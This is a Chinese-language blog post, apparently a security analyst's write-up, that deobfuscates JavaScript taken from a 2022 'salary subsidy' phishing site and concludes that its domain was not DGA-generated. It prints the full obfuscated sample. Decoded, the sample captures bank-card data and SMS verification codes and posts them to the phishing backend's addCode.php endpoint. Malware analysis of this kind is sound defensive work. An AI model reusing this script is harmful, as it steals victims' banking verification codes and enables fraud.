在2022年5月，有一个网络诈骗组织通过以”发放工资补贴“的名义群发钓鱼邮件，在七天内狂卷过亿资金出境。详情请见搜狐中招钓鱼邮件诈骗攻击手法分析.

当时我获取到恶意样本时已经是钓鱼最后一天，在进一步分析时，发现已经关站了。当时获取到一个域名是0f4bd697425ee8bcaf37294f551ec465.gerwg.xyz， 以为这个是由DGA生成的域名， 所以当时就把页面的js全都保存下来。

大部分js都分析了，但有一段js是经过加密的，觉得里面可能隐藏了DGA算法。由于混淆太厉害了，一直没理，希望哪天有耐心慢慢破解。在最近突然有点时间，就尝试了一下，发现极其简单。

先看一下这段代码：

['jsjiami.com.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['jsjiami.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79'](null,"119J105X110Y100C111d119L46a115W101B115b115v105F111f110x83X116J111N114m97H103S101l46f115i101t116l73w116N101t109K40o34V119I104r101C114H101l80S97w103N101Z34r44V32l52q41b59S32o47L47l25152J22312Q39029T38754U10W9L9S9W119Q105E110q100R111y119U46z115M101y115j115n105C111l110A83y116x111d114B97u103a101Q46R115x101H116J73o116m101i109D40y34x105t115s82u101O102o114v101i115J104f34y44i116j114U117V101j41y59y10x9q9g9F10r9k9B10M9o9p9X108Q97L121u117u105h46M117u115W101w40A91a39I106I113G117c101H114X121u39A44J32q39b108s97w121O101J114x39R44n32r39c102W111t114x109U39K93b44C32Z102E117s110K99w116U105H111f110A40N41p32U123k10i9A9w9Q9k118m97p114t32W36G32m61T32q108y97s121Q117W105N46I36r44C10d9t9R9U9C9K108a97T121g101O114W32V61k32K108u97g121H117J105c46T108X97X121c101S114C44k10e9C9G9z9q9d102V111N114h109L32N61A32h108B97R121y117W105m46J102M111t114M109h59Y10i9X9H10A9I9j9i9k116L101L120y116L40c39U169b32H20013v22269b38134o32852t29256v26435J25152H26377H39P44o32k36t40J34b46Y98E111Y109H49e34s41y41U59D10E9l9a9L9v116A101j120f116o40F39m27818y73Y67P80M22791s48V55T48x51X50l49j56z48s21495c45a50x32y124J32l27818H20844V32593O23433f22791J51X49H48q49u49u53n48i50V48C48B50S51C51Q53E21495Y39q44Y32j36l40X34p46V98e111R109S50y34p41t41v59A10x9a9W9F9N116g101Y120V116k40V39h23433M20840j20449D24687D24050i20570x21152v23494Q22788V29702W65292i20165h29992e20110a38134O34892B39564j35777N12290O39U44N32b36m40o34v46t116u105w115m104r105P34Z41d41D59T10G9s9m9M9t116F101o120u116W40f39G30701h20449v39564p35777C30721m65306f39e44q32i36q40r34U46m121a104b112s97e115i115n34O41a41u59I10p10v9s9q9A9Y118l97i114I32G100A97J116W97I32k61S32i119p105I110q100o111r119k46k115H101C115x115Q105G111C110B83N116t111r114s97J103O101q46G103U101I116s73T116s101k109z40r34J99S97L114e100D68h97q116d97x34I41E59C10O9C9s9K9W105d102I32z40G100B97W116z97u32o33r61V32z110t117s108C108I32l124w124r32s100F97i116K97M32Y33Q61v32a39j39b41t32u123M10y9m9q9a9g9A100Y97v116K97Z32b61D32y74S83d79j78t46u112m97c114m115I101e40N100S97d116H97M41w59s10F9A9M9S9q9L105j102U32G40C100s97o116Q97z46w112P104b111X110l101c78n117b109S98v101C114M32i33f61k32i110z117m108P108p32y38V38K32H100N97t116O97b46a112b104e111E110r101W78P117z109s98Z101Z114d32d33m61R32N39H39Z41I32Z123j10J9Q9I9H9Y9s9s112N104b111U110g101Z78k117i109K98E101w114w32b61d32O100v97C116P97l46l112F104Z111E110G101V78e117j109x98T101H114W59i10b9R9B9O9V9F9i112Z104W111n110b101k78x117r109V98X101Y114v32z61L32B112p104X111q110z101y78l117n109q98v101f114p46H115b117z98W115N116t114b105D110H103d40n48i44E32h51S41Z32z43E32n34z42p42Y42s42K34N32Y43k32P112F104G111k110s101e78f117J109p98g101l114t46X115U117q98Y115f116u114k105i110m103h40X112g104P111F110A101e78K117c109V98m101m114s46x108J101t110u103I116R104W32P45Z10C9E9F9s9b9p9q9n52L41T59q10e9H9s9S9P9t9n116z101W120N116Q40Y112J104f111t110T101m78b117B109r98E101n114c44Y32f36V40E34C46C98y97d110I107H116v115q34F41A41d59H10U9U9l9U9C9Z125R10e9n9Z9j9b125x10k10a9Q9Q9X9T118y97V114r32u105N115q99I111X100s101x32e61b32u102c97G108i115Q101G59y10x9A9o9U9X36u40X34J46F100O117r97h110j120h105o110j34m41H46a99Y108m105a99O107E40P102M117U110A99P116c105j111g110l40m41u32M123V10n9d9z9T9q9d105P115w99C111x100J101m32x61C32K116O114r117L101Y59y10S9M9f9Y9V9l118q97B114H32S105T32y61n32M54Y48F59t10T9T9D9v9J9a118s97F114g32W98W117Q116d32g61y32U36F40C116P104T105j115S41b59U10F9T9d9L9Y9c118V97N114o32V116z105q109o101S32B61o32s115J101t116V73O110p116v101X114c118y97l108a40L102Z117U110n99R116V105K111q110W40p41j32a123O10N9p9Q9e9l9u9u105e102f32t40m105h32a62w32Q48U41I32W123L10X9Y9m9h9W9m9r9I98b117g116K46F97o116K116w114d40Q123p10P9Z9s9l9A9h9S9h9m34h100J105z115C97t98J108G101R100k34g58F32w34C100b105b115q97m98a108d101A100T34d10j9w9x9L9n9W9t9T125S41N59e10H9z9K9F9l9Q9O9m98r117d116R46o118e97J108f40o34R37325O26032x33719q21462O34z32g43A32R105D41B59n10S9L9r9j9q9w9o9m105c45H45Q59S10r9s9A9c9g9m9A125B32f101x108b115o101Z32q123A10l9z9w9s9B9g9z9k98L117O116i46Q114L101D109n111c118r101L65A116n116m114l40G34W100H105O115r97d98Z108Y101x100K34s41V59s10L9H9z9y9A9B9k9K98D117g116M46z118w97E108v40r34f33719n21462B39564m35777M30721S34T41Z59U10O9v9u9n9X9Q9g9H119b105Z110E100V111U119J46K99L108T101U97P114C73i110M116i101E114c118i97c108x40L116V105a109G101P41f59u10L9d9g9E9N9k9Q125z10y9u9r9m9t9R125p44c32i49i48O48L48K41H10m10G9e9i9i9D9r36Z46k103P101h116c40X99h111r110C102T105Z103s46l67R111V110w102B105f103x46S104Q116w116F112A80f97J116O104X32t43T32u34I47B97Z112D105v47o115e101f116H67o111b100t101L67R111f117v110c116j46Q112Q104g112n63x117i105w100E61b34M32w43z32p117b115F101N114U67o111i111A107Q105q101K40S41a44w32Y102K117z110M99K116S105O111a110R40s10I9x9Z9q9U9b9H114d101W115r117e108O116d41c32x123K125c41w59H10x9K9B9F9l9N9q119f105Q110X100H111m119T46p115s101r115C115l105i111o110G83w116x111D114G97A103n101U46e115j101a116L73Z116O101J109e40q34F105P115u82b101j102h114Y101x115j104s34p44D116L114c117U101M41U59a10v9r9A9J9w9D36O40W34c35X112U97t121x112I97N115N115V34i41X46V118I97f108s40T34N34O41M59w10V9z9H9S9u125c41Q59u10U10r10H9q9w9C9p102T117D110Y99h116a105j111F110w32E116R101K120G116c40m116y120N116n44A32e111X44r32S99G115T115O41Y32X123r10x9g9e9T9U9K118A97I114c32e36y115U112K97H110j32E61r32k36s40s34y60Z115z112s97M110f62S34M32j43J32g116C120r116Y32n43u32K34C60i47I115o112y97U110S62E34L41y59k10S9W9N9k9k9J36B115I112f97W110I46Z99t115P115K40q123l10C9q9D9R9e9B9D34l118e105S115B105w98Q105Y108C105X116m121h34E58y32p34e104N105j100K100Y101a110W34H44G10E9H9h9e9J9F9R34G102k111p110X116V34M58M32X111w46n99U115v115s40c34D102L111f110Q116q34m41W10h9J9F9Q9N9t125U41q59Y10l9u9W9R9Z9b36n40b34n98X111D100J121s34L41G46f97J112F112a101T110q100y40v36S115t112F97B110Q41V59y10C9j9t9z9p9J118V97l114G32g99Y97p110w118H97v115c32V61u32X100g111B99y117h109L101G110r116r46W99r114u101m97S116g101Y69H108v101p109M101t110r116m40W39U99P97g110e118Z97i115n39m41f59N10l9K9U9v9B9z118G97j114H32b99n111z110H116p101U120h116v32H61k32K99b97b110E118l97C115x46V103v101P116h67Y111O110g116l101O120T116X40x34b50o100x34j44V32Z123H10O9m9l9C9H9m9v97Y110T116C105P97N108M105h97Z115E58P32D116W114i117f101F10H9Z9q9t9J9M125v41g59h10U9y9e9I9D9k118i97p114V32U103r101Z116k80F105C120g101C108H82T97j116e105P111J32o61U32C102H117v110o99j116w105J111u110G40P99k111c110V116J101p120Y116V41N32p123n10y9b9a9V9j9M9y118b97D114H32H98K97W99J107f105h110H103M83e116Q111E114m101q32W61k32H99U111h110n116d101f120q116e46J98Y97e99g107V105q110f103J83g116y111q114F101e80A105q120I101W108Z82Z97m116X105z111K32T124X124P32g99h111D110f116B101j120L116p46p119C101k98d107F105n116g66F97Z99w107j105p110D103F83P116t111g114Y101A80K105F120W101D108m82P97L116A105I111M32A124m124t10J9G9a9x9D9n9B9c99q111N110F116W101U120V116r46T109g111T122S66w97H99H107d105O110f103x83l116x111c114G101k80W105C120i101f108Y82n97w116R105f111m32v124z124Z32c99k111Z110Z116i101D120f116Q46P109k115u66K97H99J107R105k110p103d83w116u111b114D101l80Z105S120b101a108r82o97m116y105i111k32d124S124U32x99P111b110J116k101r120O116F10g9R9Y9U9K9E9G9u46i111h66A97S99Q107v105f110J103G83c116J111p114b101p80G105d120D101A108d82H97f116c105A111I32P124U124B32n99G111E110C116Q101T120v116r46X98V97o99q107g105E110t103F83f116Y111j114e101Y80T105q120j101W108X82K97l116K105R111B32L124d124N32V49y59D10K9o9a9N9f9y9v114c101L116J117u114E110P32n40C119R105b110J100d111T119U46K100V101J118D105w99D101q80D105o120Z101w108U82P97Q116a105i111z32n124A124J32u49u41M32y47X32A98t97Y99W107e105Z110r103R83h116u111O114k101x59A10P9c9b9H9D9o125n59L10w9q9W9o9I9M118o97t114s32E114W97g116q105M111U32l61w32j103B101Q116o80S105L120c101v108L82K97N116o105W111m40U99v97C110D118Y97F115i41m59j10K9d9v9o9V9t99j97I110M118n97s115f46a119W105O100c116G104o32D61z32G36g115i112k97A110X46A119W105X100C116Y104K40l41d32y42M32t114r97H116O105i111S59Z10E9n9S9z9D9v99X97d110v118f97Z115d46g104b101W105l103e104r116o32a61C32J36T115l112c97x110m46B104t101f105h103p104J116Y40i41Q32Y42B32E114K97F116M105J111P59H10o9T9P9F9q9u99E97F110j118l97y115J46Q115U116s121F108W101P46i119Y105f100C116O104L32e61J32t36z115J112z97A110E46U119R105L100R116l104D40w41q32J43I32D34h112M120U34G59O10W9y9z9S9m9v99z97m110m118X97T115e46U115p116E121q108v101G46v104L101Y105Y103q104a116I32B61w32S36u115c112B97A110o46v104l101B105i103b104z116R40o41t32b43f32J34x112M120B34X59q10q9a9t9a9h9a99V97W110i118j97t115E46o115E116l121i108o101E46k118r101H114e116B105V99F97Q108G65w108J105i103H110c32g61y32V34L116P101U120Q116I45b116Q111D112i34w59B10e9N9j9U9I9W118C97P114a32V115s105s122j101H32u61T32y112I97l114Z115a101a70y108W111g97V116Q40N111e46w99E115t115J40k34X102a111r110I116O45J115H105k122D101U34a41L44D32h49b48l41M59Q10V9S9h9g9R9x111y46Z99r115L115M40u34q102v111k110W116P45b115t105R122n101o34J44y32K115G105S122H101m32U42f32r114I97C116h105G111w41e59J10z9t9Q9Y9l9x99h111g110E116o101Y120M116q46s102A111j110D116I32d61q32b111N46y99L115m115o40H34Z102I111d110E116G34y41j59Q10C9U9Q9j9v9P111k46P99X115T115g40U34h102w111R110u116g45g115N105I122j101G34h44c32c115s105m122v101e41a59R10B9P9m9c9I9c99h111H110Z116G101E120R116a46A102r105o108M108F83m116U121b108b101d32X61k32K111D46Z99F115V115s40K34K99a111b108Q111D114G34z41u59H10L9b9D9d9x9A99o111u110X116g101A120N116x46T116E101G120a116L65v108O105o103B110i32X61N32B39F108M101x102B116w39q59x10K9f9G9K9J9E99x111l110P116A101r120Q116B46R116c101Q120T116e66l97x115i101k108l105r110Q101Y32C61F32z34X116p111C112e34i59a10k9y9r9H9t9N99O111z110N116o101k120J116O46K102e105a108G108u84G101A120V116d40m116l120B116Y44q32r48z44C32U40c36e115J112C97M110n46W104Z101x105s103P104O116J40C41Z32O45I32G115z105z122y101s41A32c42u32c114b97R116O105M111E41X59f10v9e9C9r9U9D111r46X97E112N112g101m110e100z40t99D97r110M118i97W115i41P59H10l9n9e9N9X9F36K115e112W97N110w46q114p101C109J111F118H101l40C41b59I10W9s9K9v9I125t10A10A9M9L9i9Q119m105F110L100f111O119G46x115y117C98s109L105J116B102U111s114L109a32p61x32h102y117n110y99W116l105n111G110a40i41a32X123z10U9j9h9z9N9K105W102x32e40E33I105Y115u99t111J100Q101i41j32P123s10d9T9U9M9F9x9a108N97I121q101U114K46d111I112y101T110k40O123x10M9v9c9M9q9T9i9z116X121Y112N101T58j32j48c44N10n9W9X9U9k9H9q9v116O105x116v108z101k58D32e39E25552P31034b39h44G10f9v9l9l9M9j9v9K99i111U110o116q101r110R116s58i32M39L35831w20808y33719p21462w39564u35777C30721L39x44y10Z9H9e9P9x9D9m9p105o99H111o110A58L32p50j10Z9O9D9l9k9G9f125a41N59z10j9B9j9a9X9H9b114I101H116X117c114w110O32V102p97a108r115u101a59h10Z9P9l9Y9r9L125w10Y9O9I9h9i9u105e102G32N40N36D40i34a35X112K97J121Y112K97g115J115l34L41E46C118z97X108P40V41d46e108x101D110d103q116L104k32F61j61A32i34X34l41R32O123M10P9C9j9n9P9e9f108m97f121n101S114A46i111I112E101z110r40q123r10R9Q9O9t9q9i9L9B116R121q112Q101Q58T32R48C44u10A9J9N9u9U9c9m9V116p105R116k108F101y58g32v39i25552V31034E39z44k10q9z9j9F9R9S9d9g99V111c110o116c101v110O116b58h32d39z35831d36755v20837z39564f35777z30721j39w44u10t9r9s9g9f9i9s9t105e99m111B110N58Y32a50d10A9Q9C9Z9k9D9E125h41G59p10s9h9F9I9K9Y9l114Q101R116c117l114s110o32Y102s97z108K115T101I59B10u9c9h9z9F9F125k32Z101E108s115m101i32m123J10n9J9m9t9a9q9d100e97D116l97n32m61d32D123a125X59n10n9H9R9C9L9s9w100w97Q116N97s46e99j111v100z101a32u61o32S36Z40h34h35M112f97Z121H112H97P115v115P34F41v46M118T97O108L40S41f59z10V9r9G9d9i9d9i100s97f116G97F46N117D105m100s32k61G32n117S115y101a114Z67h111h111v107X105Q101c40p41i59Y10c9V9N9F9j9K9O36d46v97l106B97l120t40y123X10r9U9K9T9v9y9a9d116o121e112h101U58W32O34b80F79I83X84W34g44U10t9m9S9B9B9Y9s9c117R114l108w58I32p99X111F110q102R105b103k46u67m111k110M102O105D103n46j104z116w116b112Z80o97I116V104V32G43o32v34P47t97C112F105o47i97h100j100O67v111J100q101x46R112G104H112L34G44W10P9y9I9v9X9H9j9e99k111C110p116A101O110k116H84D121v112J101C58E32f34E97K112b112Z108u105h99g97Q116x105R111r110a47F106w115E111r110Z34h44h10j9H9f9E9A9V9r9k100M97o116K97X58q32h74w83H79G78j46P115I116R114x105W110r103J105g102s121R40n100j97U116m97f41x44s10B9T9l9O9K9y9c9b100s97V116A97q84v121d112X101j58Z32D34Y106l115A111Y110U34d44b10Y9b9k9H9Z9R9i9L115z117m99L99A101x115q115f58C32x102Y117q110P99J116j105m111P110r40U114A101p115e41X32C123K10w9m9b9f9Z9J9N9n9m119J105z110x100n111I119d46k115w101R115v115N105l111A110S83t116p111C114u97N103z101Z46R115F101x116B73D116O101B109e40c34G105z115r82s101h102y114m101B115H104R34k44L32f116X114x117G101k41l59d10L9q9n9C9i9u9W9v9e105D102F32q40S114n101Q115Z46v99d111d100r101o32U61d61H32h48T41w32x123D10i9h9f9F9w9N9p9Q9m9v119F105B110F100K111J119i46G108C111f99o97a116o105h111e110g46o104E114o101C102i32c61j32Y34k108m111Y97F100n105N110S103A46m104l116K109y108y34G59a10c9x9b9D9g9u9s9p9u125S32Q101S108q115h101v32G123p10Z9F9X9O9U9P9S9j9R9x108q97u121F101C114P46m111F112O101R110T40Y123K10Q9k9x9M9m9d9z9x9u9U9I116k105M116B108z101K58R32E39L25552u31034z39K44t10j9T9C9p9p9W9p9B9I9u9U99d111H110h116Y101L110D116w58U32y39x24744v36755K20837H30340E39564O35777W30721p26377r35823g65281F35831r37325H26032C25552C20132y23457b26680a39N44k10f9V9D9Y9X9i9i9P9Z9P9o105f99T111B110e58K32D50F10c9r9t9x9o9E9e9q9C9y125F41l59H10E9p9J9h9R9S9w9w9d125x10S10Q9J9L9q9j9Z9i9p125z10u9b9x9n9i9O9T125R41P59s10z9b9R9s9K9b9O114g101b116O117V114N110D32m102D97s108Y115q101Q59r10v9q9q9n9s9L125N10h9O9y9E9i125c10H9W9l9Y125r41"['\x73\x70\x6c\x69\x74'](/[a-zA-Z]{1,}/))))('jsjiami.com.v4');

是不是被吓坏了。当时我也是这样的感觉。

先是在Chrome的开发工具Console跑一下。

不行。

看一下前后片段

['jsjiami.com.v4']["\x66\x69\x6c\x74\x65\x72"]["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"](((['jsjiami.v4']+[])["\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72"]['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65']['\x61\x70\x70\x6c\x79']
......
['\x73\x70\x6c\x69\x74']

可见是16进制数据。使用linux命令printf来试一下

$ printf "\x66\x69\x6c\x74\x65\x72\n"
filter
$ printf "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\n"
constructor
$ printf "\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72\n"
constructor
$ printf '\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\n'
fromCharCode
$ printf '\x61\x70\x70\x6c\x79\n'
apply
$ printf '\x73\x70\x6c\x69\x74\n'
split

可见，这些片段就变成这样

['jsjiami.com.v4']["filter"]["constructor"](((['jsjiami.v4']+[])["constructor"]['fromCharCode']['apply'](null,
...
['split'](/[a-zA-Z]{1,}/))))('jsjiami.com.v4');

看到fromCharCode是不是觉得有点意思了？这说明中间那一串可怕的魔鬼数据，其实是字符编码而已。而后面的filter和正则就是对它解密的。

好，现在把由

(['jsjiami.v4']+[])["constructor"]['fromCharCode']['apply'](null,

开始,到

['filter'](/[a-zA-Z]{1,}/))

这一大块代码复制起来，放到Chrome开发工具的Console执行一下

请注意这里(和)个数

神奇的魔术出现了

结论

非常可惜，没有DGA算法，所以那个域名并不是DGA域名，也是一个真实域名，是某个字符串的md5。毕竟0f4bd697425ee8bcaf37294f551ec465的长度是32位。